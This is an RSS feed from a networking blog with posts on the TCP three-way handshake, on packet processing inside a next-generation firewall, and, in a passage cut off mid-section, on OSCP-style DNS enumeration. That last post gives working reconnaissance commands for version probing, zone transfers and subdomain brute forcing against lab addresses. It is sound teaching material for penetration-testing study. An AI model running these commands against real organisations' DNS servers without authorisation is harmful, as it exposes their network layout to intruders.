<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Real World Networking]]></title><description><![CDATA[Computer Networking 101 is a simple and practical guide to understanding how devices communicate across networks. From IP addresses and routing to switches, DNS]]></description><link>https://packetlife.hashnode.dev</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1593680282896/kNC7E8IR4.png</url><title>Real World Networking</title><link>https://packetlife.hashnode.dev</link></image><generator>RSS for Node</generator><lastBuildDate>Thu, 24 Sep 2026 11:32:05 GMT</lastBuildDate><atom:link href="https://packetlife.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[How Machines Say Hello: The TCP Three-Way Handshake, Demystified]]></title><description><![CDATA[Every time you load a webpage, send an email, or SSH into a box, a tiny negotiation happens before a single byte of your data moves. Two machines that have never spoken agree on how they're going to t]]></description><link>https://packetlife.hashnode.dev/how-machines-say-hello-the-tcp-three-way-handshake-demystified</link><guid isPermaLink="true">https://packetlife.hashnode.dev/how-machines-say-hello-the-tcp-three-way-handshake-demystified</guid><dc:creator><![CDATA[Ashish Ghimire]]></dc:creator><pubDate>Mon, 20 Jul 2026 20:37:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6823b4b5452196a8ec2458b6/f34a1dfe-af20-4698-a425-10113ea879c0.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Every time you load a webpage, send an email, or SSH into a box, a tiny negotiation happens before a single byte of <em>your</em> data moves. Two machines that have never spoken agree on how they're going to talk. That negotiation is the <strong>TCP three-way handshake</strong>, and once you actually understand it, half of networking stops feeling like magic.</p>
<p>Let's break it down properly — not the memorize-SYN-SYN-ACK-ACK-for-the-exam version, but the <em>why it works this way</em> version.</p>
<hr />
<h2>The Problem TCP Is Solving</h2>
<p>IP — the layer underneath TCP — is a careless mail carrier. It'll take your packet and <em>try</em> to deliver it, but it makes zero promises. Packets can be dropped, duplicated, reordered, or delayed. IP shrugs at all of it.</p>
<p>TCP's whole job is to build a <strong>reliable, ordered, bidirectional stream</strong> on top of that unreliable foundation. To pull that off, both sides need to agree on a starting point: a number that lets them track every byte and detect anything that goes missing.</p>
<p>That agreement can't be one-sided. TCP is <strong>full-duplex</strong> — data flows both directions independently — so <em>each</em> side has its own starting number the <em>other</em> side must learn and confirm. Hold onto that idea. It's the entire reason the handshake is shaped the way it is.</p>
<hr />
<h2>The 30-Second Version</h2>
<pre><code class="language-plaintext">   Client                                      Server
     |                                            |
     |----------- SYN (seq=1000) ----------------&gt;|   "Let's talk. My ISN is 1000."
     |                                            |
     |&lt;---- SYN-ACK (seq=5000, ack=1001) ---------|   "Got it. My ISN is 5000. You ready?"
     |                                            |
     |----------- ACK (ack=5001) ----------------&gt;|   "Got yours too. We're live."
     |                                            |
     |============= ESTABLISHED ==================|
</code></pre>
<p>Three segments. Two machines. Connection open. Now let's actually understand what each of those numbers is doing.</p>
<hr />
<h2>Step 1 — SYN: "Here's My Number"</h2>
<p>The client kicks things off by sending a segment with the <strong>SYN</strong> flag set (short for <em>synchronize</em>). This packet carries the client's <strong>Initial Sequence Number (ISN)</strong> — let's say <code>1000</code>.</p>
<p>That ISN isn't just a counter starting at zero. It's a <strong>randomized</strong> value, and that randomness matters for security (more on that later). It marks the first byte the client intends to send in this conversation.</p>
<p>At this point the client moves into the <strong>SYN-SENT</strong> state and waits.</p>
<blockquote>
<p>Note: the SYN flag itself consumes one sequence number even though it carries no application data. That's why the <em>next</em> expected byte is ISN + 1, not ISN. This detail trips people up constantly.</p>
</blockquote>
<h2>Step 2 — SYN-ACK: "Got It, Here's Mine"</h2>
<p>The server, which has been sitting in the <strong>LISTEN</strong> state, receives the SYN and does two things in a single segment:</p>
<ul>
<li><p><strong>ACK</strong> the client's SYN by setting the acknowledgment number to <code>1001</code> (client's ISN + 1). Translation: <em>"I've received everything up to 1000; send me 1001 next."</em></p>
</li>
<li><p><strong>SYN</strong> with its <em>own</em> randomized ISN — say <code>5000</code> — because the server needs to synchronize <em>its</em> half of the conversation too.</p>
</li>
</ul>
<p>One packet, two flags: <code>SYN-ACK</code>. The server transitions to <strong>SYN-RECEIVED</strong>.</p>
<p>This combined segment is the clever part. Logically there are four things to exchange (each side's SYN and each side's ACK), but the server piggybacks its SYN onto its ACK. Four steps collapse into three.</p>
<h2>Step 3 — ACK: "We're On"</h2>
<p>The client receives the SYN-ACK, learns the server's ISN, and fires back a final <strong>ACK</strong> with acknowledgment number <code>5001</code> (server's ISN + 1).</p>
<p>Both sides now know:</p>
<ul>
<li><p>Each other's starting sequence numbers ✅</p>
</li>
<li><p>That the other side received <em>their</em> starting number ✅</p>
</li>
</ul>
<p>The connection is <strong>ESTABLISHED</strong> on both ends. Real data can flow.</p>
<hr />
<h2>Seeing It Live</h2>
<p>Enough theory. Fire up <code>tcpdump</code> and watch a real handshake to a web server:</p>
<pre><code class="language-bash">$ sudo tcpdump -i eth0 -n 'tcp port 443'

10:42:01.123456 IP 192.168.1.10.54321 &gt; 93.184.216.34.443: Flags [S],  seq 1000, win 64240
10:42:01.145678 IP 93.184.216.34.443 &gt; 192.168.1.10.54321: Flags [S.], seq 5000, ack 1001, win 65535
10:42:01.145890 IP 192.168.1.10.54321 &gt; 93.184.216.34.443: Flags [.],  ack 5001, win 64240
</code></pre>
<p>Reading <code>tcpdump</code>'s flag shorthand:</p>
<ul>
<li><p><code>[S]</code> → SYN</p>
</li>
<li><p><code>[S.]</code> → SYN-ACK (the <code>.</code> is the ACK bit)</p>
</li>
<li><p><code>[.]</code> → ACK only</p>
</li>
</ul>
<p>Notice the source port <code>54321</code> — that's an <strong>ephemeral port</strong> the client picked at random. The destination <code>443</code> is the well-known port for HTTPS. That four-tuple (source IP, source port, dest IP, dest port) uniquely identifies the connection.</p>
<blockquote>
<p>By default <code>tcpdump</code> shows <em>relative</em> sequence numbers after the first packet. Add <code>-S</code> if you want the raw absolute values.</p>
</blockquote>
<hr />
<h2>Why Three? Why Not Two or Four?</h2>
<p>This is the question that separates "I memorized it" from "I get it."</p>
<p><strong>Why not two?</strong> A two-way exchange would only synchronize <em>one</em> direction. The server would confirm the client's ISN, but the client would never confirm it received the server's ISN. The server would be left guessing whether its own sequence number ever landed. On a lossy network, that's a broken connection waiting to happen.</p>
<p><strong>Why not four?</strong> Because the server's ACK and its SYN can ride in the same segment. There's no reason to send them separately, so TCP doesn't. Four logical messages, three physical packets.</p>
<p>Three is the <em>minimum</em> number of round trips required to reliably synchronize a full-duplex connection. Not tradition — math.</p>
<hr />
<h2>The Security Angle (Because Someone Always Abuses This)</h2>
<p>A handshake this fundamental is also a juicy attack surface. Two classics worth knowing whether you sit on the red or blue side:</p>
<h3>SYN Flood</h3>
<p>Remember how the server allocates state and enters <strong>SYN-RECEIVED</strong> the moment it gets a SYN? An attacker exploits exactly that. They blast thousands of SYNs with <strong>spoofed source IPs</strong> and never send the final ACK. Each half-open connection sits in the server's backlog queue, chewing up memory, until the queue fills and legitimate clients get refused. Classic resource-exhaustion DoS.</p>
<p><strong>Defense — SYN cookies.</strong> Instead of storing state for every incoming SYN, the server cryptographically encodes the connection details <em>into the ISN it sends back</em>. It allocates nothing. Only when a valid final ACK arrives — carrying that encoded value back as <code>ack</code> — does the server reconstruct the connection and commit resources. No ACK, no cost. Elegant.</p>
<p>Blue-team tip: a spike of half-open connections (<code>netstat -ant | grep SYN_RECV</code>) or a lopsided SYN-to-ACK ratio on the wire is your smoke signal.</p>
<h3>Sequence Number Prediction</h3>
<p>Now you see why ISNs are randomized. If an attacker can <em>predict</em> the ISN a server will choose, they can forge packets that look like they belong to a legitimate connection — injecting data or hijacking the session entirely, all without ever seeing the responses.</p>
<p>This isn't hypothetical. The 1994 attack on Tsutomu Shimomura's machines — the one that eventually landed Kevin Mitnick in the headlines — hinged on exactly this: old TCP stacks incremented ISNs by a fixed, guessable amount. Modern stacks use randomized ISNs specifically to slam that door shut.</p>
<p>And a cousin worth naming: <strong>RST injection.</strong> Forge a packet with the RST flag and the right sequence number, and you can tear a connection down mid-stream. Nation-state censorship systems have leaned on this trick for years to kill connections they don't like.</p>
<hr />
<h2>The State Machine, Condensed</h2>
<p>If you remember one diagram, make it this one:</p>
<pre><code class="language-plaintext">Client:  CLOSED → SYN-SENT → ESTABLISHED
Server:  CLOSED → LISTEN → SYN-RECEIVED → ESTABLISHED
</code></pre>
<p>The client <em>initiates</em>, so it goes straight to SYN-SENT. The server <em>waits</em> in LISTEN, then briefly parks in SYN-RECEIVED after the first SYN before both sides land in ESTABLISHED. Interviewers love asking you to trace these transitions — now you can.</p>
<hr />
<h2>Gotchas That Show Up in Interviews (and Prod)</h2>
<ul>
<li><p><strong>SYN and FIN each consume a sequence number</strong>, despite carrying no data. Off-by-one bugs in analysis live here.</p>
</li>
<li><p>The handshake <strong>opens</strong> a connection; a separate <strong>four-way</strong> exchange (FIN/ACK in each direction) <strong>closes</strong> it. Don't conflate the two.</p>
</li>
<li><p>Connection setup costs you a <strong>full round trip</strong> before any data moves. It's why latency-sensitive folks reach for TCP Fast Open, connection reuse, or QUIC, which folds the handshake into the crypto setup.</p>
</li>
<li><p>A <strong>RST</strong> at any point is TCP's hard stop — "this connection is invalid, drop it now." Seeing unexpected RSTs is often your first clue something upstream (a firewall, a load balancer, an attacker) is interfering.</p>
</li>
</ul>
<hr />
<h2>Wrapping Up</h2>
<p>The three-way handshake is small enough to sketch on a napkin and deep enough to power the entire modern internet. Every step exists for a reason:</p>
<ol>
<li><p><strong>SYN</strong> — client shares its randomized ISN and enters SYN-SENT.</p>
</li>
<li><p><strong>SYN-ACK</strong> — server acknowledges it and shares its own ISN in one segment.</p>
</li>
<li><p><strong>ACK</strong> — client confirms the server's ISN; both sides are ESTABLISHED.</p>
</li>
</ol>
<p>Three packets to turn IP's careless best-effort delivery into a reliable, ordered, bidirectional stream — with just enough attack surface to keep security engineers employed.</p>
<p>Next time you run <code>tcpdump</code> and watch that <code>[S] [S.] [.]</code> sequence flash by, you'll know exactly what those three machines just agreed to.</p>
<hr />
]]></content:encoded></item><item><title><![CDATA[The 8-Millisecond Journey: A Packet's Trip Through an NGFW]]></title><description><![CDATA[Follow one packet from the wire to the other side — and watch it survive fifteen checkpoints on the way.

It's 9:14 AM. Somewhere on your LAN, a laptop clicks "Join Meeting." A single TCP packet is bo]]></description><link>https://packetlife.hashnode.dev/the-8-millisecond-journey-a-packet-s-trip-through-an-ngfw</link><guid isPermaLink="true">https://packetlife.hashnode.dev/the-8-millisecond-journey-a-packet-s-trip-through-an-ngfw</guid><dc:creator><![CDATA[Ashish Ghimire]]></dc:creator><pubDate>Wed, 01 Jul 2026 01:36:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6823b4b5452196a8ec2458b6/e81e919b-a5ca-4cb3-9caa-a4a4056fe252.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>Follow one packet from the wire to the other side — and watch it survive fifteen checkpoints on the way.</em></p>
<hr />
<p>It's 9:14 AM. Somewhere on your LAN, a laptop clicks "Join Meeting." A single TCP packet is born, wrapped in an Ethernet frame, and fired down the wire toward the firewall.</p>
<p>It has no idea what's coming.</p>
<p>In the next eight milliseconds, this packet will be inspected, classified, translated, decrypted, fingerprinted, tied to a human name, scanned for malware, prioritized, logged, and — if it behaves — sent on its way. Fifteen checkpoints. Any one of them can end its journey.</p>
<p>Let's ride along.</p>
<hr />
<h2>Checkpoint 1–3: The Bouncer at the Door</h2>
<p>The packet arrives at the <strong>ingress interface</strong> and immediately meets resistance. Before it gets to say a word about where it's going, the firewall pats it down at Layer 2 and Layer 3.</p>
<p><em>"Interface up? Good. VLAN tag valid? Checks out. MAC address make sense? Fine. Not oversized past the MTU? Move along."</em></p>
<p>Then Layer 3: source IP, destination IP, TTL still alive, header checksum intact. This is the unglamorous part — no intelligence, no policy, just structural sanity. But it's ruthless. A corrupted checksum or a TTL that hit zero, and the packet dies right here in the doorway, no explanation given.</p>
<blockquote>
<p>Most packets never think about these stages. They're the equivalent of a metal detector — invisible until you're the one it stops.</p>
</blockquote>
<p>Our packet is clean. It passes. Now the interesting part begins.</p>
<hr />
<h2>Checkpoint 4: The Fork in the Road</h2>
<p>This is where an NGFW stops being a firewall and starts being a <em>decision engine</em>.</p>
<p>The firewall glances at its <strong>session table</strong> — a running memory of every conversation currently in flight — and asks one question: <em>"Have I seen you before?"</em></p>
<p>For our packet, the answer is <strong>no</strong>. It's the very first packet of a brand-new flow. So it gets shoved down the <strong>slow path</strong> — the scenic route, the full-body scan, every expensive checkpoint ahead of it.</p>
<pre><code class="language-plaintext">        ┌─────────────────────────┐
        │   Do I know this flow?  │
        └───────────┬─────────────┘
                    │
        ┌───────────┴───────────┐
        ▼                       ▼
   ┌─────────┐            ┌──────────────┐
   │  YES →  │            │   NO →       │
   │FAST PATH│            │  SLOW PATH   │
   │ skip the│            │ run the full │
   │ scanning│            │  gauntlet    │
   └─────────┘            └──────────────┘
</code></pre>
<p>Here's the payoff, and it's the single most important idea in this entire post: <strong>this pain happens exactly once.</strong> Once our packet clears the gauntlet, the firewall writes a session-table entry — policy decision, NAT translation, app identity, all cached. Every packet behind it in the same flow takes the fast path and skips straight to the exit.</p>
<p>That's why NGFW throughput numbers look schizophrenic — brutal on the first packet, blistering on the millionth. And it's why, when a session misbehaves, half of all firewall troubleshooting starts with the same move: <em>clear the session, force it back onto the slow path, watch it get re-evaluated from scratch.</em></p>
<p>Our packet, unfortunately, is the first. It takes the scenic route.</p>
<hr />
<h2>Checkpoint 5–6: "Where Are You Going, and Whose Turf Is That?"</h2>
<p><strong>Route lookup</strong> first: the firewall consults its routing table, picks a next hop and an outgoing interface. Basic navigation.</p>
<p>Then <strong>zone identification</strong>, which is where firewalls start thinking in terms of <em>trust</em> instead of <em>topology</em>. The packet isn't just going from interface A to interface B — it's crossing from <code>LAN</code> to <code>DMZ</code>, or <code>Trust</code> to <code>Untrust</code>. Zones are the firewall's political map. A packet's origin zone and destination zone are about to decide whether it's even allowed to have this conversation.</p>
<p>Our packet is leaving <code>Trust</code> and heading toward <code>Untrust</code> — off to the public internet. Noted.</p>
<hr />
<h2>Checkpoint 7: The Disguise</h2>
<p>Before anyone judges our packet, it gets a new identity.</p>
<p><strong>NAT</strong> rewrites its source address — the private <code>10.x</code> it was born with becomes a public IP the internet can actually route back to. Source NAT, destination NAT, static, dynamic; the flavor depends on the setup.</p>
<p>But here's the trap that has burned more engineers than any other single item on this list:</p>
<blockquote>
<p><strong>The order of NAT and policy evaluation varies by vendor — and it silently breaks rulebases.</strong></p>
</blockquote>
<p>On some platforms the security policy matches on the <strong>original</strong> (pre-NAT) address. On others, the post-NAT address. Write a rule referencing the public IP on a firewall that matches on the private one, and your rule <em>never hits.</em> No error. No warning. The traffic just quietly falls to the default deny, and you spend an hour staring at a rule that looks perfect.</p>
<p>FortiGate, Palo Alto, and Cisco each handle this dance a little differently. Knowing <em>your</em> platform's choreography here isn't trivia — it's the difference between a rule that works and a ghost that doesn't.</p>
<hr />
<h2>Checkpoint 8: Judgment Day</h2>
<p>Now the big one. The <strong>security policy</strong> evaluation.</p>
<p>The firewall lines our packet up against the rulebase and checks everything at once: source zone, destination zone, source IP, destination IP, user, application, service. It reads top to bottom, first match wins.</p>
<p>And if <em>nothing</em> matches? The packet meets the most feared line in any firewall config — the <strong>implicit deny at the bottom.</strong> Silent, absolute, no appeal.</p>
<p>Notice the philosophy here: this stage decides <em>whether the conversation is allowed to exist at all.</em> It hasn't looked inside the packet yet. It hasn't checked for malware. It's answering a simpler, more fundamental question — <em>"should these two ever talk?"</em> Only if the answer is yes does the firewall bother spending real CPU on what comes next.</p>
<p>Our packet matches a rule: <code>Trust → Untrust, Employees group, allow collaboration apps.</code> Permission granted. It lives to see the next checkpoint.</p>
<hr />
<h2>Checkpoint 9: Cracking It Open</h2>
<p>Up to now, the firewall has judged our packet by its envelope. Now it wants to read the letter inside.</p>
<p>Problem: the letter is in a locked box. It's <strong>TLS-encrypted</strong>, like nearly everything on the modern internet.</p>
<p>So the firewall does something audacious. With <strong>SSL/TLS inspection</strong> enabled, it performs a sanctioned man-in-the-middle: intercepts the encrypted session, terminates it, decrypts the payload, reads everything in plaintext, then re-encrypts it with its own certificate before sending it onward. (This is why that internal CA cert has to live on every endpoint — without it, every browser screams "untrusted.")</p>
<p>Without this step, the firewall is a security guard reading the <em>outside</em> of sealed envelopes — it can see the address and the size, and guess a little, but never the contents. Malware hiding inside HTTPS walks right past.</p>
<p>With it, the box is open. Everything after this checkpoint gets to see the truth.</p>
<p><em>(It's not free — decryption is CPU-expensive, some apps hard-fail on cert pinning, and there's a real privacy conversation about what you should and shouldn't decrypt. But that's a story for another post.)</em></p>
<hr />
<h2>Checkpoint 10–11: "What Are You, Really? And Who Sent You?"</h2>
<p>Now that the payload is readable, the firewall gets <em>nosy.</em></p>
<p><strong>App-ID</strong> ignores the port number entirely. Port 443 means nothing here — could be Zoom, could be Teams, could be a command-and-control beacon wearing an HTTPS costume. The firewall fingerprints the actual application from its behavior and signatures. Our packet? Confirmed: it really is a video conferencing app. The disguise doesn't work in here.</p>
<p>Then <strong>User-ID</strong> does something even more human. Through Active Directory or LDAP integration, it maps the packet's IP back to an actual person. Our packet stops being "traffic from <code>10.1.5.42</code>" and becomes "traffic from <em>Sarah in Marketing</em>."</p>
<p>This is the quiet superpower of an NGFW. Suddenly policy can say <em>"allow the Marketing team to use Zoom but block the Contractors group from unsanctioned file sharing"</em> — a sentence that's flat-out impossible to write with IP addresses and port numbers alone.</p>
<hr />
<h2>Checkpoint 12: The Full Body Scan</h2>
<p>Our packet has been allowed to exist (Checkpoint 8). Now the firewall asks the <em>other</em> question: <strong>"Are you dangerous?"</strong></p>
<p>A whole squad of engines takes turns:</p>
<ul>
<li><p><strong>IPS</strong> — matches against known exploit patterns and anomalies</p>
</li>
<li><p><strong>Antivirus &amp; anti-malware</strong> — scans files, often detonating unknowns in a <strong>sandbox</strong></p>
</li>
<li><p><strong>Anti-spyware</strong> — hunts for outbound C2 beaconing, the fingerprint of an already-owned host</p>
</li>
<li><p><strong>URL &amp; DNS filtering</strong> — checks reputation and category, the front line against phishing</p>
</li>
</ul>
<p>If any engine finds something, the firewall has options — block, reset the connection, quarantine, or just alert. Our packet is clean video traffic. It survives the scan.</p>
<p>But notice: everything so far <em>allowed</em> the conversation. This is the layer that could still kill it — not because it's against the rules, but because it's a threat. <em>Allowed</em> and <em>safe</em> are two different verdicts, and the packet needs both.</p>
<hr />
<h2>Checkpoint 13–15: The Home Stretch</h2>
<p>The hard part is over. Our packet has been vetted, identified, named, and cleared. Now the firewall just finishes the paperwork.</p>
<p><strong>QoS</strong> gives it a priority stamp — this is real-time video, so it jumps the queue ahead of some bulk file transfer, gets its DSCP marking, and rides a shaped, prioritized path.</p>
<p><strong>Logging</strong> writes the whole story down: source, destination, the user (<em>Sarah</em>), the app (video conferencing), the action (allow), the NAT translation, bytes, duration, URLs. Every field in that log line is a receipt from a checkpoint the packet already passed. This is the data your SIEM will feast on later.</p>
<p>And finally, <strong>egress.</strong> The firewall does its last housekeeping — recalculates the checksum it invalidated during NAT, re-encrypts if inspection touched the payload, re-encapsulates the frame — and pushes our packet out the chosen interface.</p>
<p>Eight milliseconds after it arrived, our packet crosses to the other side. Sarah's meeting connects. She never knew any of this happened.</p>
<hr />
<h2>The Whole Journey, One Glance</h2>
<pre><code class="language-plaintext">   WIRE
    │
    ▼
 [1-3]  L2/L3 sanity ......... "Are you even well-formed?"
    │
    ▼
 [4]    Session lookup ....... "Have I seen you before?" ──► known? FAST PATH out
    │ (new flow, slow path)
    ▼
 [5-6]  Route + Zone ......... "Where to, and whose turf?"
    │
    ▼
 [7]    NAT ................. "Here's your new identity"
    │
    ▼
 [8]    Security policy ...... "Are you ALLOWED to exist?"  ──► no match? IMPLICIT DENY
    │
    ▼
 [9]    SSL decrypt ......... "Let me open that box"
    │
    ▼
 [10-11] App-ID + User-ID .... "What are you? Who sent you?"
    │
    ▼
 [12]   Threat prevention .... "Are you DANGEROUS?"  ──► threat? BLOCK / RESET
    │
    ▼
 [13-15] QoS + Log + Egress .. "Prioritize, record, ship it"
    │
    ▼
   OTHER SIDE
</code></pre>
<hr />
<h2>Why Any of This Matters at 2 AM</h2>
<p>Here's the real reason to carry this map in your head: <strong>every firewall ticket you'll ever work is really just the question "at which checkpoint did the packet's fate diverge from what I expected?"</strong></p>
<ul>
<li><p>Traffic hitting the <em>wrong</em> policy? → The session table is stuck on an old decision (Checkpoint 4). Clear it.</p>
</li>
<li><p>Rule that <em>should</em> match but doesn't? → NAT-vs-policy order, and you referenced the wrong-side address (Checkpoints 7–8).</p>
</li>
<li><p>App showing up as <code>unknown-tcp</code>? → SSL inspection is off, or you're judging too early in the flow (Checkpoints 9–10).</p>
</li>
<li><p>User-based rule not applying? → User-ID mapping is stale (Checkpoint 11).</p>
</li>
<li><p>Allowed something that <em>should've</em> been blocked? → Your threat profile's scope or action is wrong (Checkpoint 12).</p>
</li>
</ul>
<p>Once you can walk this pipeline in your sleep, you stop <em>guessing</em> where a problem lives. You put your debug hook on the exact checkpoint and watch the packet make its choice.</p>
<p>And more than that — you start <em>designing</em> rulebases around how the firewall actually thinks, instead of the fairy tale that "it just checks IP and port."</p>
<p>That fairy tale died years ago. This is what really happens in the eight milliseconds nobody sees.</p>
<hr />
<p><em>Written from the FortiGate trenches. The 15-checkpoint skeleton holds across every serious NGFW — Palo Alto, Cisco, Check Point — but the exact choreography of NAT, policy, and zones shifts per vendor. Know your platform's dance.</em></p>
]]></content:encoded></item><item><title><![CDATA[Port 53 Doesn't Hand You a Shell. It Hands You the Map.]]></title><description><![CDATA[OSCP Prep, Part 4 — DNS Enumeration

Here's the thing nobody tells you about port 53: it will almost never give you a shell.
FTP throws you a foothold. SMB chains you to SYSTEM. DNS does neither. What]]></description><link>https://packetlife.hashnode.dev/port-53-doesn-t-hand-you-a-shell-it-hands-you-the-map</link><guid isPermaLink="true">https://packetlife.hashnode.dev/port-53-doesn-t-hand-you-a-shell-it-hands-you-the-map</guid><dc:creator><![CDATA[Ashish Ghimire]]></dc:creator><pubDate>Tue, 16 Jun 2026 01:47:01 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/6823b4b5452196a8ec2458b6/b0fca4f9-48e0-4426-adea-9ae967846736.svg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>OSCP Prep, Part 4 — DNS Enumeration</em></p>
<hr />
<p>Here's the thing nobody tells you about port 53: it will almost never give you a shell.</p>
<p>FTP throws you a foothold. SMB chains you to SYSTEM. DNS does neither. What DNS does is quieter and, on the right box, far more valuable — it hands you the <em>map</em>. Every other hostname on the network. The mail server. The hidden subdomain running the vulnerable app. In a Windows shop, the domain controller itself, wearing a name tag. DNS is the directory the whole network published on purpose and then forgot to lock, and a single misconfigured server can dump the entire layout of an organization in one command.</p>
<p>So when you find port 53 open, don't ask "how do I exploit this?" Ask "what is this thing willing to tell me about everything <em>else</em>?" Because the answer routes straight into your web enumeration, your SMB attacks, and — if there's a domain — your eventual path to Domain Admin. DNS isn't the destination. It's the directions.</p>
<hr />
<h2>First, what you're actually talking to</h2>
<p>DNS — the Domain Name System — translates names humans can remember into IPs machines can route. It runs on <strong>port 53</strong>, and the dual-protocol detail matters:</p>
<ul>
<li><p><strong>UDP 53</strong> — normal lookups. Fast, fire-and-forget, the bulk of traffic.</p>
</li>
<li><p><strong>TCP 53</strong> — used for responses too big for a UDP packet and, crucially, for <strong>zone transfers</strong>. When you hear "AXFR," you're talking TCP.</p>
</li>
</ul>
<p>The records you'll care about:</p>
<ul>
<li><p><strong>A / AAAA</strong> — name → IPv4 / IPv6.</p>
</li>
<li><p><strong>NS</strong> — the authoritative nameservers for a zone.</p>
</li>
<li><p><strong>MX</strong> — mail servers (and a hint at the mail stack you'll enumerate next).</p>
</li>
<li><p><strong>TXT</strong> — free-text records; SPF, verification strings, and the occasional embarrassing secret.</p>
</li>
<li><p><strong>CNAME</strong> — aliases pointing one name at another.</p>
</li>
<li><p><strong>SOA</strong> — the zone's "start of authority"; tells you the primary nameserver.</p>
</li>
<li><p><strong>PTR</strong> — reverse lookups, IP → name.</p>
</li>
<li><p><strong>SRV</strong> — service locator records. In Active Directory these are gold: they advertise exactly where LDAP, Kerberos, and the DCs live.</p>
</li>
</ul>
<p>Two roles worth distinguishing: an <strong>authoritative</strong> server holds the real records for a zone; a <strong>recursive</strong> resolver answers on others' behalf. On OSCP boxes you're usually poking an authoritative server for a zone it owns.</p>
<hr />
<h2>Step 1 — Enumerate before you touch anything</h2>
<p>nmap first, both to confirm it's really DNS and to grab the default scripts:</p>
<pre><code class="language-bash">nmap -p53 -sV -sC 10.10.10.10
nmap -p53 --script "dns-*" 10.10.10.10
</code></pre>
<pre><code class="language-plaintext">PORT   STATE SERVICE VERSION
53/tcp open  domain  ISC BIND 9.11.3-1ubuntu1.2
| dns-nsid:
|_  bind.version: 9.11.3-1ubuntu1.2
</code></pre>
<p>Write down the software and version — <code>BIND 9.x</code> here. Version → searchsploit reflex still applies, though be honest with yourself: pre-auth BIND RCE is rare. DNS pays out through <em>information</em>, not CVEs, the vast majority of the time.</p>
<p>You can also ask the server its version directly — a classic info-disclosure check:</p>
<pre><code class="language-bash">dig version.bind CHAOS TXT @10.10.10.10
# ;; ANSWER SECTION:
# version.bind.  0  CH  TXT  "9.11.3-1ubuntu1.2"
</code></pre>
<hr />
<h2>Step 2 — Learn the lay of the land with dig</h2>
<p><code>dig</code> is the scalpel. <code>nslookup</code> and <code>host</code> work too, but <code>dig</code> gives you the cleanest output and it's what you'll reach for. The pattern is always <code>dig @server name type</code>.</p>
<p>First, figure out what domain this server is authoritative for (often revealed by nmap, a web cert, an SMB <code>smb-os-discovery</code>, or just the box's intro). Say it's <code>corp.local</code>. Pull the key records:</p>
<pre><code class="language-bash">dig @10.10.10.10 corp.local NS        # nameservers
dig @10.10.10.10 corp.local MX        # mail servers
dig @10.10.10.10 corp.local TXT       # text records
dig @10.10.10.10 corp.local SOA       # primary nameserver
dig @10.10.10.10 corp.local A         # the host itself
</code></pre>
<p>The <code>NS</code> answer matters most right now, because the nameserver it names is the box you'll aim your zone-transfer attempt at in the next step.</p>
<hr />
<h2>Step 3 — The jackpot: zone transfer (AXFR)</h2>
<p>A <strong>zone transfer</strong> is the mechanism a primary nameserver uses to replicate its full zone to a secondary. It's meant to be restricted to known secondaries. When it isn't — and on lab boxes it frequently isn't — <em>anyone</em> can ask for the entire zone and get every record in it. Every hostname, every IP, in one shot.</p>
<pre><code class="language-bash">dig axfr @10.10.10.10 corp.local
</code></pre>
<p>When it works, it's a thing of beauty:</p>
<pre><code class="language-plaintext">corp.local.        604800  IN  SOA   ns1.corp.local. admin.corp.local. ...
corp.local.        604800  IN  NS    ns1.corp.local.
corp.local.        604800  IN  MX    10 mail.corp.local.
ns1.corp.local.    604800  IN  A     10.10.10.10
mail.corp.local.   604800  IN  A     10.10.10.11
dev.corp.local.    604800  IN  A     10.10.10.12
intranet.corp.local. 604800 IN A     10.10.10.13
vpn.corp.local.    604800  IN  A     10.10.10.14
corp.local.        604800  IN  AXFR  ...
</code></pre>
<p>Read what just happened: you now know <code>dev</code>, <code>intranet</code>, and <code>vpn</code> exist — subdomains you'd never have guessed, each a fresh attack surface with its own IP. <code>dev</code> boxes are notoriously under-hardened. <code>intranet</code> is begging for a web look. That's the whole network's blueprint, free.</p>
<p><code>host</code> does the same thing if you prefer it:</p>
<pre><code class="language-bash">host -l corp.local 10.10.10.10
</code></pre>
<p>And the tools that wrap it with extras:</p>
<pre><code class="language-bash">dnsrecon -d corp.local -n 10.10.10.10 -t axfr
fierce --domain corp.local --dns-servers 10.10.10.10
dnsenum corp.local
</code></pre>
<p>If you get <code>Transfer failed</code> or <code>connection timed out; no servers could be reached</code>, the server is configured correctly and won't transfer to you. That's normal. Move to Step 4.</p>
<hr />
<h2>Step 4 — When AXFR is locked: brute the subdomains</h2>
<p>Most real servers refuse the zone transfer. So you guess — throw a wordlist of common subdomain names and keep the ones that resolve.</p>
<pre><code class="language-bash"># gobuster — fast and clean
gobuster dns -d corp.local -r 10.10.10.10 \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# dnsrecon brute mode
dnsrecon -d corp.local -n 10.10.10.10 -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t brt

# ffuf via the Host header (great for vhost discovery on web boxes)
ffuf -u http://10.10.10.10 -H "Host: FUZZ.corp.local" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 0
</code></pre>
<p>A hit looks like:</p>
<pre><code class="language-plaintext">Found: dev.corp.local       10.10.10.12
Found: admin.corp.local     10.10.10.10
</code></pre>
<p>For external/real-world recon there's also the <em>passive</em> route — pulling subdomains from public sources without ever touching the target:</p>
<pre><code class="language-bash">subfinder -d corp.com
amass enum -passive -d corp.com
</code></pre>
<p>On the exam you're usually inside a lab range, so brute-forcing against the box's own DNS server is the move.</p>
<hr />
<h2>Step 5 — Turn the map into access</h2>
<p>DNS recon is only worth anything if you <em>use</em> what it reveals. Three patterns that turn records into footholds.</p>
<h3>Pattern A — Feed your /etc/hosts (the step everyone forgets)</h3>
